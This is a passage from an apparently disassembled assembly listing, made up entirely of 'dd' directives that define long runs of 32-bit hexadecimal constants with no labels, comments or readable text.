0A0932D4Dh, 76CA644Eh, 54295909h dd 2756866Dh, 919B3448h, 0F296381Ah, 0AF90E04Ch, 0E3B29F65h dd 964A3FEFh, 0EE59F05Ch, 0C3D3B747h, 9BC4E046h, 0CFA68665h dd 0CE3C5715h, 2A28227Eh, 3BEF6C5Ah, 0B500E4FDh, 1C3600B9h dd 0B68BE35Bh, 0FA77DC5Eh, 0E493062Ah, 141E0844h, 0EDE48EE3h dd 0D5EC71E1h, 0B880D4F8h, 8704DAF4h, 2312E24Dh, 98772F6Bh dd 676DEA4Ah, 0A1E71EC4h, 5250E6ECh, 6E64688Ch, 0DC88FD43h dd 0DF46AC26h, 8BF22250h, 786EB43Ch, 0B452814h, 968833AEh dd 4467FC05h, 0AB3073Ch, 1D4D32Ch, 0A5001367h, 0B6715EFEh dd 0CB33D0h, 4AD057A0h, 8475E3F4h, 894709Dh, 8070BF2Dh dd 1D103008h, 3F0A9953h, 1E379A28h, 2800CFC3h, 4E64C037h dd 0D7585AB6h, 9D4F3B75h, 748B9EEDh, 763D226Fh, 0C90ED528h dd 0F70D8F58h, 0DE83C8FEh, 2EDC77F0h, 0F30B26A4h, 0A6AD24FFh dd 0DF65B7D9h, 293E1D59h, 4811A81Ah, 0CCF0EBB2h, 29A3883Fh dd 0EF02B1BBh, 15DCA35Bh, 0A6C4E222h, 8097C580h, 3137F112h dd 0DABDBDD4h, 379D60A8h, 365D7175h, 89FECF52h, 0BD56BEEEh dd 1F8F555Ah, 99E884E0h, 1E355062h, 0DB70CC4Fh, 2F430775h dd 5FCEAE46h, 0A626E75Ah, 15D175AEh, 0C0B55544h, 9866B5B4h dd 35C9C575h, 0F37DFDA7h, 3A5A82BBh, 0DB4E8C7Dh, 56BD3700h dd 4677325Eh, 0D7BC6016h, 24EEA15Eh, 0A929482h, 20B10525h dd 98B8FA51h, 639DE604h, 463E2404h, 64B0B96Bh, 2DC501DBh dd 941DC765h, 0A80F28Ch, 0E76A91E4h, 1EB8A7C2h, 68FDBB38h dd 72F1ECCh, 0A4B30368h, 2031C382h, 73ABF999h, 8AE7FE75h dd 0CF16A9B5h, 4C46654Eh, 0D3C1B474h, 0C016F130h, 4C877D27h dd 6ED22894h, 0FA7731B8h, 1C959D2Fh, 0AB07025h, 0F98254C7h dd 8F62DCE5h, 4FF1E5B3h dd 0E82A1BB9h, 503D91A8h, 13640AB5h, 44CF404Ch, 8ED215A9h dd 81910C03h, 7D5B8830h, 0D421C6DAh, 4D3E210Dh, 0CB31575Fh dd 7971FAD4h, 0FF3845Fh, 0CF860FEBh, 83FA49D9h, 1C399628h dd 493012B0h, 0F9B2FD9Ah, 5FB43C3Ch, 81843BBEh, 3BD76240h dd 0F6CB4155h, 0A5EDBBC9h, 0D64C21C8h, 6E5A175h, 88F2E9E5h dd 6E17080Ah, 7E9B31B5h, 6A739FF2h, 0F8368816h, 668CC8FBh dd 0AC19D456h, 9943BB36h, 0BD56CCF6h, 0CC5224D6h, 0DA2BE71Bh dd 0A65951AEh, 7F982CEEh, 0CD7BD727h, 0A164C5AAh, 327F37B2h dd 0DF6EE37Eh, 0FF19ABBAh, 0F112CD1Ch, 18D45801h, 0B27DDE3Bh dd 8C2159F1h, 636E60D8h, 0C2B0215Ah, 0B93F793Fh, 0BE157C61h dd 343CCF04h, 506FE74Bh, 0B5C1D4F1h, 0F89C82DFh, 0D3479D52h dd 0FA8B4BF5h, 0BFC11F2Ah, 9CC42B28h, 0F5C7B2B1h, 97A124A9h dd 0D95CCEE5h, 0ED5EF66h, 0FD92CDB5h, 36B0D792h, 2313FBE0h dd 76736C3Ch, 0E4890B27h, 0B8ACA8h, 0F080DF33h, 0E233D785h dd 3BA254B6h, 8937E0E9h, 0A63C11A4h, 38C15097h, 0E4F0F291h dd 0E1452113h, 0D783A53Bh, 0EB10327Bh, 80184003h, 0D3616486h dd 12BF6729h, 16D287E4h, 0A45E108h, 73C90775h, 903874BEh dd 68B234Bh, 0D45A24E6h, 0FC9A5E1Bh, 9DDFDD0Dh, 72A9A4EBh dd 96274DACh, 0F3B92A42h, 18196C6Ah, 0B42B8B41h, 8422E6FDh dd 0DDD6C40Dh, 854F4365h, 1AEF1C26h, 887F7BFFh, 25F51CCBh dd 0FF6E9BCAh, 661923A1h, 25910F6Dh, 83A9CABBh, 0B55B3D79h dd 83CDD20Ah, 63E7AA8Bh, 7A580819h, 32414973h, 0B161C26Fh dd 82963A51h, 5A2F9CCh, 6DC3DD6Ah, 0B30D1F2h, 259A28CBh dd 343DA360h, 0E30C4326h, 0E138EA0Bh, 7B61092Eh, 7F49DB8Ch dd 3A62C2CDh, 884D1391h, 0FBBDB2ACh, 0D724055Bh, 0BE260FE8h dd 17628E6Ah, 74A42D6Bh, 0E9A26009h, 0F32422D9h, 7634EFC6h dd 0AB09E586h, 31624A4Ch, 78B621E7h, 27178F92h, 0AFAB4848h dd 0BA7D572Fh, 0A36106EBh, 2FD384E1h, 16286A85h, 0DD8D122Bh dd 0B72EF63Bh, 0E49C2A93h, 83ED17BAh, 0D4E4A62Ch, 4B46F1A8h dd 7A8B08AAh, 69235F1Fh, 0C679FC45h, 75558079h, 0CAEF74C6h dd 6C0505D6h, 0AFADF7A0h, 0CE81E40Fh, 3C7A4E1Eh, 46AAC12h dd 1E92FC65h, 700169E0h, 0EDB1B9D2h, 96369511h, 2E4349BFh dd 0FF21A522h, 0AAAC4635h, 0AE433AB8h, 0DEFBE3E8h, 0AD4B1A17h dd 0FA6274E5h, 40ACFF18h, 0B026E33Eh, 32FDEEF0h, 0DC80C674h dd 0B1258203h, 0EDF9D083h, 0BBF9D7F6h, 0AA03BA0Fh, 0AABB82D6h dd 0DF86E941h, 6D9B2F0Fh, 9370178Bh, 58C47D55h, 0AB6C37AAh dd 96F1D459h, 0FDD47644h, 2FBE3EE5h, 7E6D1E5Fh, 79350AFEh dd 7B55AA18h, 0D757A0Dh, 0BA06A801h, 5E96DCFBh, 24EBF6BAh dd 6BEE33C0h, 66F2DD2Dh, 48E8ED15h, 0EA301A1Dh, 700BB85Ch dd 0C6A0F61h, 0C788C3C0h, 41344823h, 964596DBh, 4FE15939h dd 0A266B4ABh, 0FE8AAAD8h, 0FD83254Eh, 0E5738620h, 27504F94h dd 56AE2D42h, 58CD446h, 0ED6560E2h, 2F36CD3h, 0A763E39Eh dd 0AF151298h, 5753AE3Fh, 14107574h, 39C7F2EEh, 3BB3A631h dd 7DC60A3Ah, 2137D5h, 0C0B9FDEDh, 5AF6C505h, 4691A839h dd 2DABB1BDh, 45F2C7A1h, 251CE7CCh, 0B3B824EAh, 0F618A210h dd 7E4FBDF6h, 1F3D257Bh, 3207011Ah, 7564F35Fh, 0A9387B87h dd 625CE994h, 0F49BE74Ah, 890D3E3h, 0C1475A62h, 0E3E55145h dd 0B5F1361Dh, 5A361CCAh, 0AF2D9C42h, 0BA7FC67Bh, 0D6D79168h dd 55CDF39Ah, 32AE8A9Ah, 0C9D6F659h, 17D50292h, 0DC41A7D5h dd 139C3EBFh, 0C7706DAh, 6F6593Fh, 6205A5E9h, 0F8CD798Dh dd 74BEC73Ch, 6DDFDFDh, 0C18518FCh, 0BE09C5BEh, 5501998Bh dd 162E42C6h, 1FE561BEh, 898E1B61h, 5931D27Ch, 0BC0B7E6Eh dd 6609F1E2h, 3429E56Ch, 0A5F2B6D0h, 9E375152h, 0B1D4DA6Eh dd 3EC26EEFh, 12A7B364h, 5A322F9Dh, 0CCB4EF25h, 98247A5Fh dd 0A2F698CAh, 9E2297E3h, 79F4F331h, 2B088BC2h, 0CC0A081h dd 5A137831h, 6A01E14Dh, 0EA613FEEh, 0DB1D0E6Bh, 94DADB88h dd 25E2BFFDh, 5663C923h, 0DCBAC2D8h, 18FA5AF2h, 0F7A59005h dd 79184CA2h, 6B3CD7F8h, 8E72DC0Ah, 518C825Ah, 9E1FA0FCh dd 1FFD5F16h, 0E444E845h, 0A8DA853Bh, 0B1EE58AEh, 0F272227Fh dd 87AF4FF3h, 0D26D5B1h, 7890B039h, 0B2A82524h, 0D4D427B2h dd 0A615684Eh, 8F3EF119h, 0F2DE7666h, 0A8A8B4C9h, 4CA22184h dd 0B509C897h, 76EE84DEh, 832847D0h, 595C7218h, 11D10F50h dd 33A21229h, 0B6CADAFEh, 46716B44h, 7C62CC6Bh, 4D51F07h dd 72E16140h, 2BC5DF8Fh, 561AB605h, 3B4192A4h, 69151DA5h dd 1E9EE8E6h, 425A856Fh, 604B20E3h, 5E8089FBh, 23DFA75Ch dd 360F8194h, 0BF587379h, 0E578B344h, 679CF62Fh, 2BF4A52h dd 4D0C8D61h, 0BF5A3AA1h, 4D76AA6Eh, 0D6243349h, 185CA999h dd 6036736Fh, 1E45E468h, 0E2CC7DB5h, 1CFAD145h, 0DC55C56Fh dd 0F2D915DDh, 0BE48DC95h, 8951F7Dh, 0F46DE0C0h, 8B91135Bh dd 0A4534418h, 42A95C57h, 0EA597809h, 108BB73Bh, 0CAC9A5A8h dd 0E13246D9h, 0B32EC0ACh, 62FC19BCh, 0EAFB94CDh, 219219A5h dd 7B13C3E7h, 0C4316029h, 7226DF5Fh, 7DC8606h, 0DA227BCFh dd 5B3B138Ch, 0BE371543h, 0EE2EBBC3h, 332686ECh, 0D0156BC7h dd 2F9884DBh, 0A520B821h, 3B641062h, 3BC03F10h, 0CE864AB0h dd 6C28B8E8h, 0CD4BDFB7h, 356C2F5h, 494FEB57h, 0B2369E56h dd 48138FBCh, 0F77F0013h, 0F197B82Ah, 8D1C1962h, 8E5587CDh dd 0FE597F66h, 0D927BF65h, 0A394CA70h, 0DB15F51Eh, 4F469CD3h dd 0CDCA3C15h, 1061B3B4h, 0F4C0E5D7h, 5D5E779Ah, 51E97B65h dd 9310E994h, 0DBF80951h, 4642FCEEh, 605E8769h, 0C18C11Fh dd 0A58D7986h, 974D6468h, 1BC8C4A6h, 87B3198h, 7CB7A436h dd 0A013D3A3h, 3DFED4F3h, 3B03A273h, 0E3EA2BF6h, 9812637h dd 1B577F86h, 4A2D8D6h, 1EAEDEE7h, 0E8700767h, 5DFFE2A7h dd 34C77F13h, 39FD7860h, 3838ACD6h, 0EA55C65Fh, 6D31666Dh dd 0EE613DCCh, 492959A6h, 36A19ADFh, 0FA266233h, 0D4F4E933h dd 0C5889FF0h, 3A8B1DCh, 8424CC2Ah, 7F47ECE5h, 65BD358Ah dd 1BA193F5h, 1B941391h, 9CF8D9FAh, 47F22943h, 81EB9C2h dd 0B332D906h, 74AF97CFh, 0D6D7E9AFh, 50B9C439h, 5851F676h dd 94835228h, 0B28F2022h, 821AB4C8h, 126059CBh, 7BBB05C7h dd 747E5E40h, 9F451699h, 82E6EA82h, 425DB775h, 21F9F85Dh dd 0D413DD17h, 0AAF43250h, 681C145h, 2A6C8290h, 0F2EA32A0h dd 7F5E0A5Bh, 94786DD2h, 0FE3B1FA5h, 0C956A9DEh, 0B672267Ah dd 6154A086h, 3B32F659h, 23AD3857h, 0F456B4FCh, 0FD5CF362h dd 85B39198h, 8F5192C5h, 0D53F8258h, 48CCCACEh, 7DF081EAh dd 0F7846298h, 0F419A35Ah, 0DBF9D649h, 0B79B662Ah, 0D984FF53h dd 95E75309h, 0F32E2AEAh, 65680BF9h, 0B1BA39C1h, 69F3C5A2h dd 79E24E27h, 0DF77ECE0h, 0E9E0D0D5h, 68933B92h, 6A298E19h dd 0AC3F8E9h, 0B5E884EEh, 0B302C1EDh, 73820D72h, 25E82C16h dd 33C8DC24h, 45F83A38h, 4FF9722Fh, 0AC722A1Ch, 0EBE3FD49h dd 13CE69B0h, 3345AFDDh, 39C3207Fh, 3D4D27F6h, 0BA409E56h dd 23A4E352h, 68DE68CBh, 34E35AC2h, 9F53A694h, 2B6BE709h dd 73EE6446h, 0E26A5DD8h, 0EB57FF4Fh, 2D170107h, 6351DBBBh dd 7A774BDBh, 0E341311Bh, 1E349001h, 24EA2D0Bh, 2C6CCB87h dd 0E4A4CEB7h, 1F74DE9Ah dd 0CE1203B2h, 5408DB02h, 0DCEDCBA5h, 0A8473D89h, 6D489729h dd 305D233Fh, 0DCC5C745h, 0CAD84D57h, 24670710h, 31F59C9Fh dd 0F2FE3B4Dh, 0CF123202h, 3A4442Fh, 18FD4DCBh, 87628B79h dd 0B4069F60h, 0BB2024A7h, 85BDBFCBh, 0B224F733h, 9A52DF92h dd 69E32EE2h, 0CD515850h, 6E8D10Eh, 0FA977AA3h, 9122B4DBh dd 0B9EFFAE1h, 3BD59B18h, 0DE4DD810h, 0E8A2BED9h, 0DEC03886h dd 7E2A800Eh, 2B4ECB9Ah, 0C043D453h, 457C0B68h, 0F066D567h dd 7C9C3A5Fh, 9084A1D7h, 5F43242Dh, 4D724891h, 6172CDE3h dd 0AB402D60h, 0A8B1209Dh, 0D67610C5h, 66D63C43h, 2E5B655h dd 805230E3h, 0B8E45098h, 4B55F9DCh, 35762F2Ch, 5C89EFADh dd 104FA48Bh, 8A8CD816h, 429028DDh, 8F84AA1Fh, 45867C6h dd 0D11B81ABh, 661EDC8Bh, 3FB02FAAh, 0A5DB093Fh, 0DA86A421h dd 8DEB28A8h, 0CE90D720h, 0D9A7ED4Eh, 0BC59F8FDh, 55BF619h dd 10198A6Eh, 73E9A0D1h, 67395D3Bh, 983AA7BAh, 0A983B22h dd 46641953h, 69A74858h, 0F070449Dh, 9F391174h, 5349A721h dd 68472926h, 0A4A74216h, 64A6D80Ch, 0BD799432h, 9632DDF8h dd 0C0B6FEA6h, 741F940Bh, 8915CA34h, 79194D6Dh, 0C7ABB1A1h dd 0E8A4A766h, 128CEC2Bh, 0AC8DEF28h, 0FF2CB3D6h, 0E61059B1h dd 579EB7DDh, 39F236D0h, 5AA0CB61h, 6730DC84h, 869E724Bh dd 710EE385h, 857AA1F1h, 0E03CEF98h, 0B317A579h, 46301563h dd 1CF5F9C8h, 0D6502B1Ah, 9A968BB7h, 4676F74Ch, 7A77FE76h dd 0BD2FD6ECh, 0FFECA8F4h, 7CDBA8C3h, 2B3F2095h, 0F7A8107Ch dd 6994EEF3h, 0F2DFEBE0h, 0DCA38EDDh, 52E005DCh, 19AEF586h dd 9D4EB43Dh, 0B500612h, 31053DC0h, 0BD8C3E26h, 0D1B952A7h dd 5906EF79h, 24830004h, 0E0E2DEEEh, 48E55CE7h, 18B2127h dd 0CAFED1F6h, 621FAA9h, 0A90DA5F6h, 643AE313h, 0EE828C5Ch dd 872F7538h, 487EF4F7h, 0EF3F452Eh, 0BADEF324h, 534F5549h dd 0BA32799Eh, 9A139549h, 51C73E53h, 0FD3636A9h, 42B94A57h dd 4454BA7Dh, 9C6D1DACh, 0E0E9D888h, 4636E300h, 6CAE021Fh dd 772E9BA5h, 0C248DAB9h, 44F6E543h, 530AA093h, 0B8A91870h dd 0DE9F32DFh, 8B9F9029h, 0F70BABDEh, 34DD4B9h, 44DA8E18h dd 0CF67970Dh, 0F25369F3h, 0E51D385Ch, 0D97C882Ah, 0A82AA4F0h dd 7A94CC9Fh, 0B8DC6768h, 91E88A44h, 961E8672h, 0E261C176h dd 9FEB7F04h, 268462C3h, 6E06EA1Dh, 6CD8383Ch, 0C43384F1h dd 725C218Fh, 5E54A065h, 0B35FCD80h, 290A0335h, 388B729Bh dd 0D87F64A1h, 0BA5AE03Ch, 65BF5B1Eh, 775E0377h, 8E5FDC94h dd 21BF4353h, 0F5E55AC7h, 5B23CE05h, 0DD217109h, 3AB0DFF8h dd 0C535BCB0h, 704FBED5h, 0EAB4170Eh, 1182EDC2h, 373DB23Fh dd 19C6BE79h, 7C7576FDh, 0F81FE004h, 5D9C0009h, 0C06B629Fh dd 2D40ABE4h, 12623F99h, 0F6A80EE9h, 0D99645C5h, 0DD1E4D43h dd 0A2D08F52h, 61E9546Dh, 43AAF0B1h, 27227815h, 0DD5533D6h dd 1488A342h, 1A565AB3h, 8B97DE78h, 20258D84h, 0DC1BB965h dd 0D275F8EFh, 0BF772FEFh, 7CC5888Fh, 6B8864B5h, 0F265D538h dd 6C77CD22h, 0BC0CE262h, 436E7072h, 8B8CCFA4h, 3EEA7DBh dd 0AD8AA49Dh, 29E36BA5h, 11D94A16h, 0A87AD896h, 338E4930h dd 360525D6h, 44A48937h, 0BF5BBA55h, 0A90C7A08h, 0AEE42D2Ch dd 70F1B9D0h, 29EEA66Dh, 0C0BF0528h, 0ED34B4F2h, 0B17B5B22h dd 0CBE01FDAh, 0D110A501h, 7425006h, 447784C4h, 0C99F8530h dd 78472A11h, 88D99681h, 8B3A9506h, 0F39F2DB7h, 98995BCh dd 0F818E068h, 7B0E1384h, 3E937060h, 39E460Ch, 0CDA20383h dd 0A28C53A4h, 744B0ECFh, 0CE94D52Dh, 0ED5A213Bh, 387E225Eh dd 0FD37723Bh, 476C7E7Dh, 0BC15FB27h, 22D9E91Ah, 93696977h dd 32CD67FAh, 867C8709h, 0A3D6063Bh, 0C4415AC1h, 0CBB5F11Ah dd 5315A05Fh, 1CCFF905h, 2E736A38h, 673A3FF2h, 1B58A18Eh dd 10DE8982h, 0ED5279DEh, 66DE0DCEh, 89983D01h, 93E88EFEh dd 0BDED3171h, 0C4095C31h, 6CB3EB92h, 20A4B4F3h, 0ABFA5601h dd 2BFF1378h, 83AB7A86h, 188EE517h, 5D8FC2C3h, 0FD15E8C8h dd 209FDE67h, 26AEC248h, 33FCE1A6h, 3B8E2D71h, 66E3A8Fh dd 0F01C1DD6h, 0FAF7D47Bh, 1D829884h, 0C426B7CBh, 3E05FCC1h dd 4D83A7Ah, 739A35FDh, 0AE38FAA2h, 70F2DD2h, 0B080C80Dh dd 0AB70B068h, 0D3D9CFBDh, 0E9223052h, 0E5063FDCh, 21E6D556h dd 0C32C8943h, 1AA6FA66h, 2EC4A399h, 7CFA8363h, 8BBFF332h dd 74EDC296h, 7237EA63h, 0FB826DAEh, 106F5F1Eh, 5FC08445h dd 195FAC2Dh, 0BED5A681h, 534414F0h, 2EAD3B36h, 5D0DBB0h dd 0F05B5FD2h, 9ABD5CF3h, 7037B9DBh, 2E7D7F1Bh, 8BAA62D1h dd 0E1B611D0h, 8FA9B972h, 502CEA07h, 0F67253A4h, 0B6E671F3h dd 9080EC3Ah, 7E6ECCD0h, 8B4A1BCAh, 0E5BBD1CFh, 0A7F7ABCFh dd 92B781F1h, 0D5495FFAh, 29BFE024h, 13940E0h, 58490EAh dd 0A228E2B5h, 0F1053FFCh, 11DE1700h, 36B53080h, 0DCE2FFA6h dd 0DB8FC0B3h, 0AFB8F0D5h, 0DB4C3890h, 62DAA570h, 0CB091AE1h dd 86C8B5D5h, 0E053CBA9h, 3F436D35h, 0C6F91AE5h, 65453830h dd 66092F5Ch, 0BB09FDCFh, 0EEF37E9Dh, 0C0F28ACDh, 0D8B3227Eh dd 539E404Dh, 58A21138h, 0BD86B420h, 8668393Eh, 63C4A276h dd 0D8923FF8h, 1AA421A2h, 0A5AE781Fh, 0DC1CAAAFh, 0CF0EC053h dd 3233AD25h, 0CB8F6B4Dh, 9860C019h, 514A2F48h, 8E45950Eh dd 0FCF5CBB0h, 0CC6B6185h, 2B011AF6h, 0C0B2CEB4h, 87800801h dd 797E0DB6h, 4B03CD67h, 4A20BFCBh, 0ECCE3170h, 7F072251h dd 1B88585Ch, 0E6DA6AA7h, 591D89ACh, 84E64ABAh, 0B03A5D17h dd 0BFE566D6h, 0EDEF727Ch, 0AC50D49Ch, 20C742Dh, 0B5AFEF9Fh dd 0BBD2E82Ah, 0B3974AD2h, 806BE9EEh, 8B17E95Ch, 3D9D15Eh dd 7071BFDBh, 8A29064h, 0A46A0AE9h, 11F1CF6Bh, 0E26A320Eh dd 8DDD01C8h, 7EAE7665h, 0C925B556h, 0EFB6030Fh, 46F8957Dh dd 59D9FB7Dh, 99AD765Eh, 60D4DD64h, 2F5492D9h, 2EF917C6h dd 8B4DF47h, 46FFCECCh, 0D2ADE840h, 0D8D607A6h, 2BAE9764h dd 5B44A42Ah, 8D039B88h, 5B5CEE75h, 5C4835CCh, 56AC35E3h dd 9E7805F2h, 35EAFC3Dh, 0BC64BBB0h, 0C5573853h, 0ABB06381h dd 0FD0E8B6Ch, 82670107h, 96D372Eh, 0C9574FD6h, 873F1E07h dd 64D0CAABh, 0B8521C09h, 0A2B6A9CAh, 0F5E4EDDCh, 0A207C53Dh dd 0BA6B5DF0h, 0D1051C57h, 0D249B656h, 56CCD273h, 0FBA3D43Bh dd 0FAFBB76Dh, 72EF89DBh, 0B60EF297h, 0E86FA6CEh, 177F55A1h dd 8B756440h, 0A1BC6C1Dh, 68A3E85Ah, 40248CC4h, 0C80A9E99h dd 841C0CD5h, 5931FADFh, 0FB22556Eh, 62CE0900h, 3866B74Ch dd 139984D6h, 0AD512AB6h, 4B0C790Ch, 0F0438C41h, 16B18850h dd 0A84A7694h, 0A7FB53CBh, 0F03B21C4h, 489A518Dh, 0DA485052h dd 69C86725h, 47D8A987h, 6C30712Dh, 6A9334BBh, 0FD8C3C8Bh dd 0E3681874h, 80C66AEEh, 0A6FA5E9Dh, 8FEB9ED2h, 0C513935Bh dd 0FBBB3B09h, 6FC54DA0h, 5BE85463h, 9C521A02h, 0B936989Fh dd 726735CAh, 0C2317342h, 3BA546E2h, 0ABE1A5A4h, 0DE5F2C32h dd 0F98AB0E7h, 189C435h, 8BAA1FC0h, 0D43FE52Bh, 8AD28695h dd 8E4261D0h, 0D80A50BDh, 7964360Ah, 0A3BB1059h, 452EDEAh dd 0D84536D6h, 0CB3D0349h, 0E4B9EFE5h, 31AC920Ch, 4BA429A6h dd 0F44A23F3h, 8A9E85B7h, 70440B2Bh, 0AE3CDE71h, 0B4917DAAh dd 0C1995AE7h, 63881058h dd 15ACE39h, 5A187586h, 0D92E1388h, 0B7A80DC1h, 89B022E9h dd 59CBB12Fh, 1B9F849Dh, 461E416Ch, 4F5690BFh, 78A672CEh dd 9E1BF34h, 494BDB52h, 18CAC4D4h, 6C122B8h, 0D1076BB1h dd 9ECAAFAEh, 3B971A71h, 0F9267F67h, 83CC4h, 994FDDA1h dd 947B3FCAh, 0B23C0154h, 993DC647h, 3FDC18B5h, 0C05B9DCDh dd 0AC7A060Ch, 0CB526733h, 0E18BB22Bh, 0FFAF6B3Ah, 71A1D884h dd 4C36B882h, 638919C5h, 8802A725h, 0A2B33755h, 8924F0A2h dd 7E454831h, 80BA8047h, 0DA027411h, 5BB6FAADh, 0BD99EB3Ah dd 0D223B75Bh, 0EC204D07h, 8CED3889h, 0DC150835h, 6C6037B6h dd 73C04183h, 3478397Ah, 58A71535h, 6C0D4E20h, 67D292E7h dd 81FB3349h, 28E8423Bh, 6A6232BAh, 98175515h, 0C87CD4EFh dd 55353BF1h, 0ACC2D568h, 1EAEA719h, 0CA57E391h, 0FF2F2AF5h dd 48BA0624h, 2346460Ch, 0D94CF6C3h, 0E17FF166h, 36BCC59Bh dd 9EB95F7Ah, 629F67B2h, 2C3FB55Ah, 78AC1AC3h, 0A9EB167Ch dd 0B32E12C9h, 868ADD7Bh, 764DCFC9h, 6E0DA3E2h, 3466A4D6h dd 136B0A28h, 0F78BD31h, 0B3D687A2h, 3A6D456h, 190D974Dh dd 0F4FBCD32h, 5687040Ch, 0B572FF9Fh, 0EF2365C7h, 37B11A2Ah dd 75E962C8h, 9C853FC0h, 30B44F1Eh, 5C677B70h, 0EE5EBD7Fh dd 0CCF7721Bh, 0D3059D55h, 9B1BB3ECh, 730335B0h, 679A79F2h dd 0B6B93922h, 240DB955h, 8386DD20h, 0D5F64037h, 81AF76C5h dd 0E81D651h, 0A3353F8Dh, 1DA2C5E5h, 0DDB32EFBh, 0D06E917h dd 7E49FD2h, 0DF91B814h, 0BB7C9ACEh, 0B7ADF827h, 0B9DEF170h dd 0AE2ED121h, 0E8C78041h, 2117C6h, 6A8D5591h, 70DF1933h dd 0CCF56F25h, 523B844h, 47B365A2h, 2F1434DAh, 0AF39C0Bh dd 8A056480h, 95B7942Ch, 0E4722045h, 10D80FDAh, 0C640468Fh dd 6C5A81C3h, 0B5F4BB07h, 0F20196E0h, 0F5AA7189h, 611A8908h dd 0B103FFA0h, 0D9DB0ED7h, 6CF2EA45h, 0FE5062ABh, 926D94Ch dd 2BB9BB6Ah, 4C7F05FFh, 0BE9A1486h, 48781055h, 0B0D09F97h dd 5B6B57C3h, 0CD1C9DE5h, 1793E399h, 0D06806DBh, 65A3E1FFh dd 689FC6E9h, 0E37CA5F3h, 1B1F2F92h, 359C28ADh, 60ACF98Dh dd 8B88D0E8h, 0BCA084F4h, 0F87BFD7Dh, 8CFD7B47h, 85C32C92h dd 386023CFh, 0E0376EB3h, 47F8A798h, 0BE20545h, 0FF08686Fh dd 361FA8B0h, 36B652F5h, 97EFE15h, 9233D4B6h, 9A118554h dd 0B9D08DD1h, 9D6C5094h, 55A279F4h, 0ECFC73A0h, 0D076F858h dd 4E9E001Ch, 89E26EB4h, 0D2DD0BD1h, 3268FF2Fh, 8D41B169h dd 69BECF13h, 8136C304h, 92222DE1h, 0AB1CDF6Dh, 90DA4F6Dh dd 0B4B4E17Ah, 9F742987h, 0FD2FAE4Bh, 8D39CF4Dh, 4BF7754Fh dd 0B6459E8Fh, 0D102C73Ah, 0F895F2C1h, 5AB18679h, 0A167C015h dd 1A1DE769h, 1B6F535Eh, 603D8136h, 0B130857h, 0C10BF9F6h dd 7314F372h, 0D660D0ACh, 839A51B8h, 40215ACEh, 0F4F02A58h dd 326C9383h, 0F909698Ah, 771142D6h, 0A801C241h, 0A09E1C4Bh dd 272A0E33h, 64E45AB7h, 2A28AA0Eh, 0DE265DB7h, 1D04922Eh dd 0EE6CCE30h, 0A64B0C47h, 0B1D6992h, 0A4D40FC2h, 635EC6FFh dd 0E3DDC0BAh, 0F1C252ADh, 7A7702Eh, 0FBC94B12h, 4D2B5A0Dh dd 933D37AAh, 0C0CD797Dh, 3D153034h, 6BBF2D7Fh, 588D2C6h dd 8E622718h, 0A2747EA1h, 853BA432h, 0F33AEE84h, 0A8E5F956h dd 65265D9h, 85778CA5h, 0D0B54D25h, 0F6F8C5D7h, 0A110EE70h dd 1814F4E9h, 4A728F7Dh, 60CDD034h, 153B99E7h, 0C2D0A4D6h dd 914FA50Ah, 0D12D16A8h, 75F3ABB6h, 5F4A2B5Eh, 2032DB8Ah dd 396C01EEh, 3174539Dh, 0E2C9021Ch, 1D2014C4h, 0DAB71A6Eh dd 1085F562h, 6471C356h, 0B9FA27A7h, 24DC55B2h, 0A67DE668h dd 4ADD9B7Eh, 75903703h, 84EC2CEAh, 0B8124973h, 0DE8D9E45h dd 86135A55h, 67B449DCh, 89AEC0AAh, 0A807A7DFh, 848C6BDh dd 802266B8h, 0A8BB5A41h, 9FECA8h, 0F546598Eh, 4A2F8A5h dd 32059367h, 0FCE60F4Dh, 0EDF305E1h, 99F78224h, 1DC401CDh dd 7CBC9106h, 4E0A27ECh, 550EF326h, 0FE17AE7Eh, 0A461B4D6h dd 8CC7A146h, 6543BE1Ch, 8091FCA5h, 0A72B0FE2h, 90BA3A6Ch dd 91F7BDDh, 0D2B3D6BCh, 723BB37Dh, 0FA90E98Ah, 215A9E39h dd 0B7082F18h, 97AF5FB2h, 249A3A49h, 999B7314h, 0F2B69FAEh dd 330EAC98h, 666D4E7Ch, 79B44852h, 0B4BE28CDh, 2B7EBCAAh dd 0AE35CDAEh, 64EEC98Bh, 58BC81B8h, 0F37EF404h, 0C67A9E02h dd 264761A2h, 7548ABA8h, 94E2CC7Ah, 0BD22E17h, 0AAE109F8h dd 56B4ED43h, 0F725A582h, 7A19B9B7h, 9B5412A0h, 9B6EE2B5h dd 0F7267B1Ch, 8DFFE1AEh, 8F300EAFh, 578C5DBEh, 7A724558h dd 43BCC36Dh, 2F05A82Bh, 1A0D610h, 30C21B9Bh, 0BFA756ACh dd 0FF53BCD8h, 75755F93h, 46A80A51h, 0B4BFDC20h, 307007ADh dd 0C1AB52E7h, 11A90BD8h, 18C7D578h, 71B908DAh, 49688267h dd 7BC5C1E6h, 0A4870A09h, 45823FE4h, 55CEB1D6h, 7DCB6E21h dd 9110CFD0h, 1CFE980Dh, 3E5AB311h, 0B53CEE55h, 0AF114815h dd 966133ADh, 0E09AB52Dh, 0F7C353BDh, 0D3337ECDh, 64588F15h dd 6436A69Fh, 0CB65DF64h, 0E6035981h, 0B4E734C9h, 0F1BCBF1Bh dd 8379E2F4h, 38BB0A3Ch, 0DF447A8Bh, 28465A44h, 63ADE567h dd 6B8B922Bh, 5D11D2DFh, 9F2D2821h, 1B29BF5Fh, 3749833Dh dd 60C971F5h, 0BACE2F25h, 0FC7E5678h, 142991D6h, 0C6BB0DB6h dd 6861E9F3h, 0F2338A9Ah, 98EAAC4Dh, 7252B7E4h, 90C28084h dd 8C4F7h, 0DC190BF1h, 0E5A3DC82h, 8EE683Dh, 0A9AF7F44h dd 9B558B7Fh, 0DE2E1CADh, 0B569EBEEh, 0B1C49D87h, 0A04CBB22h dd 37FE698Ch, 21239D5Ah, 780754C7h, 1C8BBA7Ch, 0E8D25AC7h dd 1B5059EBh, 0A2488B49h, 252402D4h, 1974CC59h, 8C87F0DEh dd 0EB207E2Ah, 0FCF32013h, 14A824DBh, 0D84FAAA3h, 4C8CF97h dd 0FF0A8853h, 4EDE2456h, 3085957h, 0A9465C77h, 6495DDA6h dd 82C574FBh, 60068700h, 7F252931h, 0E077594h, 54A9CFB6h dd 0F34D4229h, 19DF2620h, 0D7398D2Dh, 4C10157Fh, 81D91417h dd 9C96A010h, 7569FD78h, 0B8318225h, 0C76718Ah, 7154B211h dd 0C15F3878h, 7C4E327Fh, 2A98AB99h, 30E987EEh, 1C8AE9CAh dd 914D2DEEh, 3ABB6A6Ah, 0E1FFE665h, 1C7CB990h, 65530EAAh dd 0E39163F8h, 